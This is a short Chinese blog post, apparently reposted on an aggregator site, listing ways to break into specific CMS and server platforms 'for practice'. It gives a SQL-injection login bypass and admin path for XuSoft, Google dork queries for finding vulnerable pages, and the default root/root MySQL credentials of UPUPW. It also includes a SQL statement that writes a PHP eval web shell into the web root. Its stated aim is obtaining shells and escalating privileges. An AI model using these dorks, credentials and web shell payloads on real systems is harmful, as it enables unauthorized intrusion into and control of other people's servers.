首页 > Web开发 > 详细

一些CMS网站系统漏洞,练手用(持续更新)

时间:2016-04-30 06:35:03      阅读:1033      评论:0      收藏:0      [点我收藏+]

仅供拿shell,提权测试用,请勿恶意破坏

 

XuSoft系统:

后台万能密码:‘or‘=‘or‘  可直接登陆,后台地址 /manage/login.asp

inurl:ReadArticlemb.asp?id=

inurl:ReadBigClassmb.asp?id=

inurl:ReadBigClassmbNews.asp?id=

 
 

UPUPW绿色服务器平台:

服务器基本上是2008,system权限

MySQL 默认用户名密码:root ,进入后台直接执行SQL语句写shell

PHP探针-UPUPW绿色服务器平台KANGLE专用版

 
©2015 WWW.UPUPW.NET 版权所有
 

sql写shell

select ‘<?php @eval($_POST[‘geeking.cc‘]);?>‘INTO OUTFILE ‘D://upupw//htdocs//gekking.php‘

一些CMS网站系统漏洞,练手用(持续更新)

原文:http://www.cnblogs.com/94YY/p/5448031.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!